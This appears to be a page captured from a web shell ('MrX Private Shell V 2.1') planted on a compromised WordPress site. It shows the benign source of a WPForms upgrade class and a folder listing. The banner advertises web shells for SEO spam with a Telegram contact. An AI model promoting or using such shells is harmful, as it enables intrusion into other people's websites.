__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace WPForms\Migrations;
use WPForms\Tasks\Meta;
use WPForms\Tasks\Tasks;
/**
* Class v1.7.5 upgrade.
*
* @since 1.7.5
*
* @noinspection PhpUnused
*/
class Upgrade175 extends UpgradeBase {
/**
* Delete all task meta of not active tasks.
*
* @since 1.7.5
*
* @noinspection ElvisOperatorCanBeUsedInspection
*
* @return bool|null Upgrade result:
* true - the upgrade completed successfully,
* false - in the case of failure,
* null - upgrade started but not yet finished (background task).
*/
public function run() {
global $wpdb;
if ( ! $this->as_tables_exist() ) {
return true;
}
$group = Tasks::GROUP;
$sql = "SELECT DISTINCT a.args FROM {$wpdb->prefix}actionscheduler_actions a
JOIN {$wpdb->prefix}actionscheduler_groups g ON g.group_id = a.group_id
WHERE g.slug = '$group' AND a.status IN ( 'pending', 'in-progress' )";
// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.NotPrepared
$results = $wpdb->get_results( $sql, 'ARRAY_A' );
// phpcs:enable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.NotPrepared
$results = $results ? $results : [];
$meta_ids = [];
foreach ( $results as $result ) {
$args = isset( $result['args'] ) ? json_decode( $result['args'], true ) : null;
if ( $args && ! empty( $args['tasks_meta_id'] ) ) {
$meta_ids[] = $args['tasks_meta_id'];
}
}
$table_name = Meta::get_table_name();
$not_in = $meta_ids ? wpforms_wpdb_prepare_in( $meta_ids ) : '0';
// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.NoCaching
$wpdb->query( "DELETE FROM $table_name WHERE id NOT IN ( $not_in )" );
// phpcs:enable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.NoCaching
return true;
}
/**
* Check whether AS tables exist.
*
* @since 1.7.6
*
* @return bool
*/
private function as_tables_exist() {
global $wpdb;
$required_tables = [
$wpdb->prefix . 'actionscheduler_actions',
$wpdb->prefix . 'actionscheduler_groups',
];
// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
$tables = $wpdb->get_col( "SHOW TABLES LIKE '{$wpdb->prefix}actionscheduler%'" );
$intersect = array_values( array_intersect( $tables, $required_tables ) );
sort( $intersect );
sort( $required_tables );
return $intersect === $required_tables;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Tasks | Folder | 0775 |
|
|
| Base.php | File | 12.02 KB | 0775 |
|
| Migrations.php | File | 992 B | 0775 |
|
| Upgrade159.php | File | 707 B | 0775 |
|
| Upgrade1672.php | File | 863 B | 0775 |
|
| Upgrade168.php | File | 1.24 KB | 0775 |
|
| Upgrade175.php | File | 2.67 KB | 0775 |
|
| Upgrade1751.php | File | 562 B | 0775 |
|
| Upgrade177.php | File | 1.21 KB | 0775 |
|
| Upgrade182.php | File | 3.1 KB | 0775 |
|
| Upgrade183.php | File | 769 B | 0775 |
|
| Upgrade184.php | File | 909 B | 0775 |
|
| Upgrade186.php | File | 395 B | 0775 |
|
| Upgrade187.php | File | 1.35 KB | 0775 |
|
| Upgrade1_9_1.php | File | 1.37 KB | 0775 |
|
| Upgrade1_9_2.php | File | 911 B | 0775 |
|
| Upgrade1_9_7.php | File | 333 B | 0775 |
|
| Upgrade1_9_8_6.php | File | 2.74 KB | 0775 |
|
| UpgradeBase.php | File | 3.43 KB | 0775 |
|